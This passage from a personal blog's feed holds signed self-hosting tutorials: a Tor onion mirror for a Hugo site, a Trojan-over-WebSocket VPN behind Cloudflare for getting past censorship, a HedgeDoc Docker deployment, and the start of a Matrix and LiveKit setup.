    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
